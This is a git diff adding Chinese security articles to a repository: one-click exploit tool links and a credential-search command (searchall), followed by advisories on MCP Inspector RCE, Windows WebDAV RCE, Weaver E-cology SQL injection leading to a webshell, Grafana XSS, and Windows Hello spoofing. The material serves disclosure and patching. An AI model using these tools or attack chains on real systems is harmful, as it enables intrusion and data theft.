+![](https://mmbiz.qpic.cn/sz_mmbiz_png/0YvAy5BgkyMTKrpIia0XL3oFzgW0jMMZx6NKjRwA2fzG8uLgCuNhZEYjXcfbqC7uicaqRY08aicQjOTk97JS8VFkg/640?wx_fmt=png&from=appmsg "") + +直接一把梭哈：发现存在即可尝试利用 + +梭哈： +https://comm.pgpsec.cn/2368.html + +![image](https://mmbiz.qpic.cn/sz_mmbiz_png/0YvAy5BgkyMTKrpIia0XL3oFzgW0jMMZxB3vyRD3cRlYAiaBkiboEqU6HiaK5eRxkR2g2BQX60Ch6R7dKZ63pRVibhg/640?wx_fmt=png&from=appmsg "") + +直接运行图形化工具即可，雀实方便 + +Docker Registry工具: +https://comm.pgpsec.cn/2382.html + +![image](https://mmbiz.qpic.cn/sz_mmbiz_png/0YvAy5BgkyMTKrpIia0XL3oFzgW0jMMZxKZVeMuZ7UJSJmu4dN0DP0ia9iaQmWYZId683BRYvnmdTQ0JQdX9Wk2gw/640?wx_fmt=png&from=appmsg "") + +![image](https://mmbiz.qpic.cn/sz_mmbiz_png/0YvAy5BgkyMTKrpIia0XL3oFzgW0jMMZx8cAjo2nsBzZD2siazP8BX9MBDwZUnDO7atiaOL6x8olG0KhH2XpJhenQ/640?wx_fmt=png&from=appmsg "") + +然后可以手工查找敏感信息或者使用工具 + + +手工查找😵‍💫： + +![image](https://mmbiz.qpic.cn/sz_mmbiz_png/0YvAy5BgkyMTKrpIia0XL3oFzgW0jMMZxDD3Ezpj2paJ0fn2iaLkDywibz6eYyIAqpleucRJKmMKcSicjI1gWNicHkQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0YvAy5BgkyMTKrpIia0XL3oFzgW0jMMZxSJgKNlZmjXMTxLWicPWdRcJly0U2eC1FwG5wIiaCUfGU0IC54iag5pOPA/640?wx_fmt=png&from=appmsg "") + +推荐工具- +searchall： +https://github.com/Naturehi666/searchall + +命令：searchall64.exe search -p 路径 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0YvAy5BgkyMTKrpIia0XL3oFzgW0jMMZxWkbiaJmYs3dQkRrAZXvGoTWDLBRXpDqrpx3SZSj5BvR6VLkGMgRYUBA/640?wx_fmt=png&from=appmsg "") + +[鹏组安全社区站：您身边的安全专家-情报 | 攻防 | 渗透 | 线索 | 资源社区](https://mp.weixin.qq.com/s?__biz=Mzg5NDU3NDA3OQ==&mid=2247491205&idx=1&sn=b212739965f6617c84c89726cc85d50c&scene=21#wechat_redirect) + + + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/0YvAy5BgkyNHF1CWPJ9XSApBFhIGwF5Jh0zD2ySOcHvBkYgicU4xZsqvR3XEjUEnfGKH7ya8TgqCibHpYZKcibDBQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**扫码关注** + +**社区** + +鹏组安全社区： +comm.pgpsec.cn + + +专注网络技术与骇客的一个综合性技术性交流与资源分享社区 + + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/0YvAy5BgkyN92OtiagxgUpDAeq8RbcPacH8L82CwLzHtvucDrP1RrgfzeUYY8cS4WHk8niap3jKZzys9wK5oHB9w/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +免责声明 + +由于传播、利用本公众号鹏组安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号鹏组安全及作者不为 +此 +承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！ + +好文分享收藏赞一下最美点在看哦 + diff --git a/doc/2025-06/MCP Inspector严重远程代码执行漏洞威胁AI开发环境安全.md b/doc/2025-06/MCP Inspector严重远程代码执行漏洞威胁AI开发环境安全.md new file mode 100644 index 00000000..85a040ef --- /dev/null +++ b/doc/2025-06/MCP Inspector严重远程代码执行漏洞威胁AI开发环境安全.md @@ -0,0 +1,73 @@ +# MCP Inspector严重远程代码执行漏洞威胁AI开发环境安全 + FreeBuf 2025-06-17 10:54 + +![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR38jUokdlWSNlAjmEsO1rzv3srXShFRuTKBGDwkj4gvYy34iajd6zQiaKl77Wsy9mjC0xBCRg0YgDIWg/640?wx_fmt=gif "") + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR38MSC47SvZnR0Q8u4CiadMkO4CyfwqRtBiart2SoHVE8cwWQnlPmBicT2Tt3geYibMN0HsPZk0rt1ciaJg/640?wx_fmt=webp&from=appmsg "") + +### Part01 +### 漏洞概述 +###   + +研究人员近日披露，用于测试和调试机器上下文协议（Machine Context Protocol，MCP）服务器的工具MCP Inspector存在重大安全缺陷（CVE-2025-49596），可能允许未经认证的远程代码执行（RCE）。该漏洞CVSS v4评分为9.4，属于严重级别。 + + +![MCP Inspector RCE漏洞示意图](https://mmbiz.qpic.cn/mmbiz_jpg/qq5rfBadR38MSC47SvZnR0Q8u4CiadMkOD4HyknvbrEJvHra6zp9IHKSkKpLrQWPIAnZryTCh1IoKqFia9kFqhqA/640?wx_fmt=jpeg&from=appmsg "") + + +**Part02** +### 技术背景 +### +### MCP协议作为突破性开放标准，使AI应用能够无缝对接外部工具与数据源，其作用类似于AI领域的USB-C接口。这种即插即用的抽象层让大语言模型（LLM）能够在明确定义的上下文中获取外部知识或执行命令，已成为新一代AI系统开发的关键组件。 + + +**Part03** +### 漏洞详情 +### +### 存在漏洞的MCP Inspector是用于检查调试MCP服务器的开发者工具。在0.14.1之前版本中，其代理服务器未实施客户端与服务端间的身份验证机制。这一疏漏使得攻击者能够通过标准输入输出（stdio）发送MCP命令，最终实现完全远程代码执行。 + + +**Part04** +### 攻击影响 +### + +当攻击者能够访问暴露在网络的MCP Inspector时，可借此漏洞实现： +- 在主机上执行任意命令 + +- 操纵或污染AI模型输入/输出流 + +- 窃取模型推理涉及的敏感数据 + +- 提权访问通过MCP连接的集成工具 + +该漏洞对开发环境威胁尤为严重，因AI工具常会使用真实生产数据进行测试，并与更广泛的系统集成。 + + +**Part05** +### 修复方案 +### + +MCP Inspector v0.14.1已修复该漏洞，通过实施完善的身份验证机制阻止未授权的代理访问。建议用户立即升级至最新版本，并检查工具是否在可信网络之外存在暴露风险。 + + +参考来源： + +CVE-2025-49596: Critical RCE Vulnerability in MCP Inspector Exposes AI Developer Environments + +https://securityonline.info/cve-2025-49596-critical-rce-vulnerability-in-mcp-inspector-exposes-ai-developer-environments/ + + +### +### +### +### 推荐阅读 + +[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651322946&idx=1&sn=c9cbbd848459bfe0a36fa121ff364ad0&scene=21#wechat_redirect) + +### 电台讨论 + +**** + +![图片](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR3icF8RMnJbsqatMibR6OicVrUDaz0fyxNtBDpPlLfibJZILzHQcwaKkb4ia57xAShIJfQ54HjOG1oPXBew/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + diff --git a/doc/2025-06/【在野利用】Windows WebDAV 远程代码执行漏洞(CVE-2025-33053).md b/doc/2025-06/【在野利用】Windows WebDAV 远程代码执行漏洞(CVE-2025-33053).md new file mode 100644 index 00000000..cd68d385 --- /dev/null +++ b/doc/2025-06/【在野利用】Windows WebDAV 远程代码执行漏洞(CVE-2025-33053).md @@ -0,0 +1,169 @@ +# 【在野利用】Windows WebDAV 远程代码执行漏洞(CVE-2025-33053) +原创 360漏洞研究院 360漏洞研究院 2025-06-17 09:05 + +![](https://mmbiz.qpic.cn/mmbiz_gif/5nNKGRl7pFgbJxnOxcKdRicA5Vlgv8VdjNEa8tGFyzVgC6Q6dlYR7JSnqNf6hodTZqXAibl0ZqFHlNgZKH8hT2jQ/640?wx_fmt=gif&from=appmsg "") + + +

漏洞概述

漏洞名称

Windows WebDAV 远程代码执行漏洞

漏洞编号

CVE-2025-33053

公开时间

2025-06-11

CVSS 3.1

8.8

漏洞类型

远程代码执行

POC状态

已公开

利用可能性

高

EXP状态

已公开

在野利用状态

已发现

技术细节状态

已公开

+ + +**01** + +影响组件 + + + +Windows 是微软研发的图形界面操作系统，应用于计算机、手机等设备，有普通版、服务器版、手机版等系列，是全球广泛使用的系统之一。 + +Windows WebDAV 是一种基于 HTTP/1.1 协议的扩展协议，支持用户通过系统原生功能将远程服务器映射为本地网络驱动器，实现类似操作本地文件的远程文件管理。 + + +**02** + +**漏洞描述** + + + +近日，微软发布6月安全公告，修复了多个安全漏洞，其中包括一个 Windows WebDAV 访问控制不当漏洞，攻击者通过**钓鱼邮件** +发送恶意的 **.url** +文件，利用此漏洞从其控制的 WebDAV 服务器执行恶意程序。**高级持续性威胁（APT）组织 Stealth Falcon 利用该漏洞展开网络攻击** +，攻击者通过钓鱼邮件发送恶意 **.url** + 文件，该文件修改合法工具 **iediagcmd.exe** + 的工作目录，使其执行攻击者 WebDAV 服务器上的恶意 **route.exe** + 程序。官方已经在新版本中修复此漏洞，建议受影响用户及时升级到安全版本。 + + +**03** + +**漏洞复现****** + + + +![](https://mmbiz.qpic.cn/mmbiz_png/5nNKGRl7pFj0Mlke4Rda4Fib8zkfkzjeV6JOhL7WKB4Z5hyWKPibt0znPCBICelRCG85xhNU5ZFFl3M5dzh8zBCQ/640?wx_fmt=png&from=appmsg "") + + +**04** + +**漏洞影响范围****** + + + +Windows 10 < 10.0.10240.21034 + +Windows 10 Version 1607 < 10.0.14393.8148 + +Windows 10 Version 1809 < 10.0.17763.7434 + +Windows 10 Version 21H2 < 10.0.19044.5965 + +Windows 10 Version 22H2 < 10.0.19045.5965 + +Windows 11 Version 22H2 < 10.0.22621.5472 + +Windows 11 Version 23H2 < 10.0.22631.5472 + +Windows 11 Version 24H2 < 10.0.26100.4349 + +Windows Server 2008 < 6.0.6003.23351 + +Windows Server 2008 R2 < 6.1.7601.27769 + +Windows Server 2012 < 6.2.9200.25522 + +Windows Server 2012 R2 < 6.3.9600.22620 + +Windows Server 2016 < 10.0.14393.8148 + +Windows Server 2019 < 10.0.17763.7434 + +Windows Server 2022 < 10.0.20348.3807 + +Windows Server 2022, 23H2 Edition < 10.0.25398.1665 + +Windows Server 2025 < 10.0.26100.4349 + + +**05** + +**修复建议****** + + + +**正式防护方案** + +**方法一.使用Windows Update更新** + +自动更新： + +Microsoft Update默认启用，当系统检测到可用更新时，将会自动下载更新并在下一次启动时安装。 + +手动更新： + +1、点击“开始菜单”或按Windows快捷键，点击进入“设置”。 + +2、选择“更新和安全”，进入“Windows更新”。 + +3、选择“检查更新”，等待系统将自动检查并下载可用更新。 + +4、重启计算机，安装更新系统重新启动后，可通过进入“Windows更新”->“查看更新历史记录”查看是否成功安装了更新。对于没有成功安装的更新，可以点击该更新名称进入微软官方更新描述链接，点击最新的SSU名称并在新链接中点击“Microsoft 更新目录”，然后在新链接中选择适用于目标系统的补丁进行下载并安装。 + + +**方法二.手动安装补丁** + +Microsoft官方下载相应补丁进行更新。 + +安全更新下载链接：https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2025-33053 + +1.点击打开上述链接。 + +2.在微软公告页面底部左侧【产品】选择相应的系统类型，点击右侧【下载】处打开补丁下载链接。 + +3.点击【安全更新】，打开补丁下载页面，下载相应补丁并进行安装。 + +4.安装完成后重启计算机。 + + +**06** + +**时间线** + + + +2025年6月17日：360漏洞研究院发布安全风险通告 + + +**07** + +参考链接 + + + +https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33053 + +https://research.checkpoint.com/2025/stealth-falcon-zero-day/ + +https://therecord.media/microsoft-cisa-zero-day-turkish-defense-org + + +**08** + +更多漏洞情报 + + + +建议您订阅360数字安全集团-漏洞情报服务，获取更多漏洞情报详情以及处置建议，让您的企业远离漏洞威胁。 + + +邮箱：360VRI@360.cn + +网址：https://vi.loudongyun.360.net + + + +“洞”悉网络威胁，守护数字安全 + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/5nNKGRl7pFgbJxnOxcKdRicA5Vlgv8Vdj79uMHokrh6ZZDyK49UF68xwvH2ttJ0eicYjADfDN3rsicht6B4toKg7w/640?wx_fmt=gif&from=appmsg "") + + diff --git a/doc/2025-06/【复现】泛微E-cology9 前台SQL注入漏洞风险通告.md b/doc/2025-06/【复现】泛微E-cology9 前台SQL注入漏洞风险通告.md new file mode 100644 index 00000000..7ae20c17 --- /dev/null +++ b/doc/2025-06/【复现】泛微E-cology9 前台SQL注入漏洞风险通告.md @@ -0,0 +1,92 @@ +# 【复现】泛微E-cology9 前台SQL注入漏洞风险通告 + 赛博昆仑CERT 2025-06-17 11:54 + +![](https://mmbiz.qpic.cn/mmbiz_gif/iaZ7t7b9Dodvib7ddpGMC6vx4COAy4sBoGbGCkwVUIJSHBPI0z1Utrp1h5ys6ygT3albl3PgjejJcRRRiaDFFbMBA/640?wx_fmt=gif "") + + +- +赛博昆仑漏洞 +安全风险通告 +- + +泛微E-cology9 前台SQL注入漏洞风险通告 + +![](https://mmbiz.qpic.cn/mmbiz_svg/7j1UQofaR9fsNXgsOXHVKZMJ1PCicm8s4RHQVjCJEjX63AsNibMx3So4wSMAvubEOoU2vLqYY7hIibIJbkEaPIDs5A4ianh5jibxw/640?wx_fmt=svg "") + + + + +**漏洞描****述** + + +    泛微协同管理应用平台(e-cology)是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台，形成了一系列的通用解决方案和行业解决方案。 +。 + +    赛博昆仑CERT监测到泛微E-cology9 发布新补丁，ecology9中存在前台sql注入漏洞，未经过身份认证的攻击者可通过该漏洞泄露敏感信息 +。 +

漏洞名称

泛微E-cology9 SQL注入漏洞

漏洞公开编号

暂无

昆仑漏洞库编号

CYKL-2025-041709

漏洞类型

SQL注入

公开时间

2025-6-16

漏洞等级

高危

评分

暂无

漏洞所需权限

无权限要求

漏洞利用难度

低

PoC状态

未知

EXP状态

未知

漏洞细节

未知

在野利用

未知

+ +**影响范围** + +e-cology9 并且 补丁版本 < 10.75 + + +**漏洞复现** + + +目前，赛博昆仑CERT已成功复现 +泛微E-cology9 SQL注入漏洞，延时8秒进行验证 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/iaZ7t7b9DodsFyV7L6LfCeAZrRdT05UcUkecOFqnWsIMU0Ffic0zyRTZGS2Bcp84V1VxsZohDrV0Jh2ib7NFwwAHg/640?wx_fmt=png&from=appmsg "") + + +**** +**防护措施** +- **修复建议** + +目前，官方已发布修复建议，建议受影响的用户尽快更新至v10.75版本补丁。 + +https://www.weaver.com.cn/cs/securityDownload.html + +- **技术业务咨询** + + + +赛博昆仑支持对用户提供轻量级的检测规则或热补方式，可提供定制化服务适配多种产品及规则，帮助用户进行漏洞检测和修复。 + +赛博昆仑CERT已开启年订阅服务，付费客户(可申请试用)将获取更多技术详情，并支持适配客户的需求。 + +联系邮箱： +cert@cyberkl.com + +公众号：赛博昆仑CERT + + +**** +**时间线** + +    2025年6月16日，官方发布补丁 + +    2025年6月17日，赛博昆仑CERT发布漏洞风险通告 + + + +**技术业务咨询** + +邮箱：cert@cyberkl.com + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/iaZ7t7b9Dodvib7ddpGMC6vx4COAy4sBoGLJ1DKwHPSc2JX7FQat3De8XiaajuAHkJzOY9ic9bnaHiaLJqVHIe0E2wg/640?wx_fmt=gif "") + + + + + + + + + + + + diff --git a/doc/2025-06/【安全圈】“Grafana Ghost”漏洞曝光，近四成公网实例仍未修复.md b/doc/2025-06/【安全圈】“Grafana Ghost”漏洞曝光，近四成公网实例仍未修复.md new file mode 100644 index 00000000..9f7db714 --- /dev/null +++ b/doc/2025-06/【安全圈】“Grafana Ghost”漏洞曝光，近四成公网实例仍未修复.md @@ -0,0 +1,108 @@ +# 【安全圈】“Grafana Ghost”漏洞曝光，近四成公网实例仍未修复 + 安全圈 2025-06-17 11:00 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGylgOvEXHviaXu1fO2nLov9bZ055v7s8F6w1DD1I0bx2h3zaOx0Mibd5CngBwwj2nTeEbupw7xpBsx27Q/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +**关键词** + + + +安全漏洞 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGyliaYlamicbH6OGokianaWfkMtdLSc10cHYzHV9HyzTmrPWQvZEWiczdmyY8qKctUClu6ERvibyJCPCv1aA/640?wx_fmt=png&from=appmsg "") + +2025年5月21日，Grafana Labs 发布安全更新，修复了由安全研究人员 Alvaro Balada 报告的一个严重漏洞，编号为 CVE-2025-4123。该漏洞存在于 Grafana 客户端路径解析与重定向逻辑中，允许攻击者通过构造恶意链接，引导用户加载并执行伪造插件，实现账户接管。目前已有超过 46,000 个公网暴露的 Grafana 实例仍未打补丁，面临实质性风险。 + +Grafana 是广泛部署的开源可视化平台，被用于监控基础设施、云服务和应用性能。此次漏洞主要影响其客户端 JavaScript 路由逻辑，并可被用来绕过 URL 规范化、内容安全策略（CSP）等机制，从而执行跨站脚本（XSS）攻击。 + +研究人员指出，该漏洞不需要攻击者具备系统权限，也不要求目标系统启用身份认证即可触发，攻击链条包括：构造具有“路径穿越 + 开放重定向”特征的恶意 URL、诱导活跃登录用户点击、加载伪造插件、在浏览器中执行任意 JavaScript 代码。最终效果包括用户会话劫持、重置密码、修改邮箱，甚至执行 SSRF 读取内网资源（如存在 Image Renderer 插件）。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGyliaYlamicbH6OGokianaWfkMtdledd9vfibbibBXd884eicicrqjJdOugDLp49m66Rq4npqkGVRZiaCWPj5yg/640?wx_fmt=png&from=appmsg "") + +尽管 Grafana 默认启用了一定的 CSP 安全策略，但其客户端侧执行特性使得该漏洞可绕过防护。攻击场景不依赖服务器行为，而是完全由浏览器渲染逻辑执行，因此防御难度更高。 + +据应用安全公司 OX Security 的测算，目前全球约有 128,864 个可被探测的 Grafana 实例，其中仍有 46,506 个（约 36%）运行受影响版本，漏洞仍可被利用。该公司称本漏洞为 “The Grafana Ghost”，并通过实证验证漏洞的可武器化能力，包括插件加载链条、用户邮箱替换与会话持久劫持。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGyliaYlamicbH6OGokianaWfkMtd9ES2dLef7CSrictZVHlOicoFQUrMvBQhkdemjAs5vSoGWNL7x6Kib89qQ/640?wx_fmt=png&from=appmsg "") + +该漏洞危害严重，尽管需要用户点击并处于活跃登录状态，但考虑到 Grafana 部署在许多自动化平台、CI/CD 系统、运维面板和监控大屏中，管理员与开发者往往处于长时间保持登录状态，攻击者可通过钓鱼邮件、社交工程等方式引导访问，从而构成实际风险。 + +目前，Grafana 官方已发布多个版本补丁，推荐所有管理员立即升级至以下版本之一： +- 10.4.18+security-01 + +- 11.2.9+security-01 + +- 11.3.6+security-01 + +- 11.4.4+security-01 + +- 11.5.4+security-01 + +- 11.6.1+security-01 + +- 12.0.0+security-01 + +建议进一步采取的安全措施还包括： +- 临时关闭插件功能（如不依赖） + +- 禁用匿名访问 + +- 启用更严格的反向代理 URL 验证与 CSP 白名单 + +- 定期强制刷新用户会话并审计活跃连接 + +Grafana Ghost 暴露出客户端框架在安全逻辑上的设计薄弱，也提醒各类 DevOps 工具厂商必须加强对前端路径处理、URL 解析与插件机制的审查。对于依赖 Grafana 的企业，应尽快排查受影响版本并制定紧急更新策略。 + + +  END   + + +阅读推荐 + + +[【安全圈】Windows SMB客户端提权漏洞（CVE-2025-33073）及其在未启用SMB签名环境中的攻击原理](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070197&idx=1&sn=2ea19a473759ade49d28c33654512b51&scene=21#wechat_redirect) + + + +[【安全圈】全球超4万摄像头“裸奔”，美国家庭隐私首当其冲](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070197&idx=2&sn=7e5d70ffd124440138090e721143d413&scene=21#wechat_redirect) + + + +[【安全圈】Discord邀请链接被劫持：AsyncRAT与Skuld木马悄然窃取加密资产](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070197&idx=3&sn=f2b22042bcb80b88f3dd4f8a59e482c1&scene=21#wechat_redirect) + + + +[【安全圈】起亚厄瓜多尔车型钥匙系统存在严重漏洞，数千辆车面临被盗风险](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070197&idx=4&sn=ec2e30a1b4bdbaba363c267c6b615863&scene=21#wechat_redirect) + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + + +![](https://mmbiz.qpic.cn/mmbiz_png/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEDQIyPYpjfp0XDaaKjeaU6YdFae1iagIvFmFb4djeiahnUy2jBnxkMbaw/640?wx_fmt=png "") + +**安全圈** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + +←扫码关注我们 + +**网罗圈内热点 专注网络安全** + +**实时资讯一手掌握！** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + +**好看你就分享 有用就点个赞** + +**支持「****安全圈」就点个三连吧！** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + + diff --git a/doc/2025-06/【安全圈】“微软修复 Windows Hello 欺骗漏洞：黑暗中人脸识别功能被禁用”.md b/doc/2025-06/【安全圈】“微软修复 Windows Hello 欺骗漏洞：黑暗中人脸识别功能被禁用”.md new file mode 100644 index 00000000..d710e47b --- /dev/null +++ b/doc/2025-06/【安全圈】“微软修复 Windows Hello 欺骗漏洞：黑暗中人脸识别功能被禁用”.md @@ -0,0 +1,86 @@ +# 【安全圈】“微软修复 Windows Hello 欺骗漏洞：黑暗中人脸识别功能被禁用” + 安全圈 2025-06-17 11:00 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGylgOvEXHviaXu1fO2nLov9bZ055v7s8F6w1DD1I0bx2h3zaOx0Mibd5CngBwwj2nTeEbupw7xpBsx27Q/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + +**关键词** + + + +Windows + + +2025年4月，微软发布了一项关于 Windows Hello 的重要安全通告，修复了编号为 CVE-2025-26644 的“欺骗”类漏洞。该漏洞被南洋理工大学的研究人员披露，核心问题在于 Windows Hello 的人脸识别机制在处理“对抗性输入扰动”时存在不足，攻击者有可能借助伪造图像在本地环境中绕过身份验证。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/aBHpjnrGyliaYlamicbH6OGokianaWfkMtdNtiaIu3yDECE8Vf5K7GeyJosoTAR06jpdcYtyGLTEeicwY7N1ibibQzVqQ/640?wx_fmt=png&from=appmsg "") + +此漏洞被评为“重要”级别，攻击复杂度较高、无需权限、无需用户交互，但攻击仅限于本地执行。目前尚无公开利用，也未发现已被攻击的案例。微软为此发布了修复补丁，并对 Windows Hello 的运行机制进行了关键性调整：系统现在要求“红外传感器与普通摄像头”联合工作，才能完成人脸认证。 + +调整的直接后果是：在黑暗环境下，Windows Hello 将无法再完成人脸识别登录。此前，Windows Hello 可单独依赖红外（IR）传感器进行 3D 面部扫描，即使在无光环境下也能顺利识别用户。但由于现在要求摄像头也必须“识别到面部”，而摄像头在暗光下无法有效成像，因此导致用户在夜间、背光、或光线不足的环境中无法通过人脸识别登录系统。 + +这种变化并非系统错误，而是微软出于增强安全性的主动决策。微软认为，虽然用户在便利性上有所牺牲，但在当前日益严峻的网络安全环境下，加强身份验证机制是必须做出的权衡。 + +一些用户已发现一种“变通办法”：通过设备管理器禁用网络摄像头，使系统只能调用红外传感器，从而在黑暗环境中恢复旧版识别方式。不过这种做法将影响其他应用程序使用摄像头（如 Teams、Zoom、录制视频等），因此并不推荐作为长期解决方案。 + +微软指出，该问题源于 Windows Hello 识别模型在面对人工构造的图像扰动时缺乏有效检测能力。攻击者可能构造精心设计的“面部模型”诱骗系统，完成未经授权的登录。为避免此类风险，微软决定强制要求可见光参与识别，从而提升整体安全性。 + +此次更新影响范围广泛，涵盖 Windows 10 1809 至 22H2、Windows 11 所有版本及 Windows Server 多个版本。凡在 2025 年 4 月之后安装官方安全更新的系统，均受到此新策略约束。 + +人脸识别本质上属于“无接触式生物特征认证”，在提升便利性的同时，也引入了新型风险。CVE-2025-26644 的披露及应对，提醒用户与厂商必须持续关注 AI 模型在现实攻击场景下的鲁棒性问题。未来，微软或将改进识别模型，对“对抗性扰动”增强检测与过滤能力，从而实现安全性与可用性的重新平衡。 + +在此之前，用户可选择使用指纹识别、PIN 码或物理安全密钥等替代方案，确保系统在各种环境下均具备可靠的身份验证能力。对于依赖人脸识别作为主要登录方式的组织，应在内部告知员工此项变更，并评估其对工作效率与用户体验的具体影响，制定相应的过渡方案或支持措施。 + +Windows Hello 的此次调整，不仅是对一个具体漏洞的修复，更是生物识别技术安全实践中的一次重要转折。 + + +  END   + + +阅读推荐 + + +[【安全圈】Windows SMB客户端提权漏洞（CVE-2025-33073）及其在未启用SMB签名环境中的攻击原理](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070197&idx=1&sn=2ea19a473759ade49d28c33654512b51&scene=21#wechat_redirect) + + + +[【安全圈】全球超4万摄像头“裸奔”，美国家庭隐私首当其冲](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070197&idx=2&sn=7e5d70ffd124440138090e721143d413&scene=21#wechat_redirect) + + + +[【安全圈】Discord邀请链接被劫持：AsyncRAT与Skuld木马悄然窃取加密资产](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070197&idx=3&sn=f2b22042bcb80b88f3dd4f8a59e482c1&scene=21#wechat_redirect) + + + +[【安全圈】起亚厄瓜多尔车型钥匙系统存在严重漏洞，数千辆车面临被盗风险](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652070197&idx=4&sn=ec2e30a1b4bdbaba363c267c6b615863&scene=21#wechat_redirect) + + + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + + +![](https://mmbiz.qpic.cn/mmbiz_png/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEDQIyPYpjfp0XDaaKjeaU6YdFae1iagIvFmFb4djeiahnUy2jBnxkMbaw/640?wx_fmt=png "") + +**安全圈** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCEft6M27yliapIdNjlcdMaZ4UR4XxnQprGlCg8NH2Hz5Oib5aPIOiaqUicDQ/640?wx_fmt=gif "") + + +←扫码关注我们 + +**网罗圈内热点 专注网络安全** + +**实时资讯一手掌握！** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + +**好看你就分享 有用就点个赞** + +**支持「****安全圈」就点个三连吧！** + +![](https://mmbiz.qpic.cn/mmbiz_gif/aBHpjnrGylgeVsVlL5y1RPJfUdozNyCE3vpzhuku5s1qibibQjHnY68iciaIGB4zYw1Zbl05GQ3H4hadeLdBpQ9wEA/640?wx_fmt=gif "") + + diff --git a/doc/2025-06/【已复现】泛微 E-cology SQL注入漏洞.md b/doc/2025-06/【已复现】泛微 E-cology SQL注入漏洞.md new file mode 100644 index 00000000..ae8063a2 --- /dev/null +++ b/doc/2025-06/【已复现】泛微 E-cology SQL注入漏洞.md @@ -0,0 +1,130 @@ +# 【已复现】泛微 E-cology SQL注入漏洞 + 长亭安全应急响应中心 2025-06-17 09:46 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/FOh11C4BDicRJQfdN1fA0tbUUBoVlQuTbPKCXMEvHVpicbgR6CFERQMB2ibSjkl3BuxW3RcXyHyFibhHmgFpwXRicZw/640?wx_fmt=png&from=appmsg "") + + +泛微e-cology是一款由泛微网络科技开发的协同管理平台，支持人力资源、财务、行政等多功能管理和移动办公。 + + +2025年6月，泛微官方更新安全补丁，修复了一处SQL注入漏洞。经分析，攻击者可利用该漏洞 +绕过身份认证，甚至 +导致服务器沦陷 +，建议受影响的客户尽快修复漏洞。 + + +**漏洞描述** + +  +Description +  + + + +**0****1** + +**漏洞成因** + +E-cology系统在构建SQL语句时直接拼接用户可控参数，且未对输入进行充分过滤，这导致了SQL注入漏洞。当系统处理用户提交的恶意参数时，攻击者可利用该漏洞向数据库中注入任意SQL命令， +当数据库为 SQLServer 的情况下 +可通过Ole组件将恶意数据导出为Webshell文件，最终实现远程代码执行并获取服务器控制权限。 + 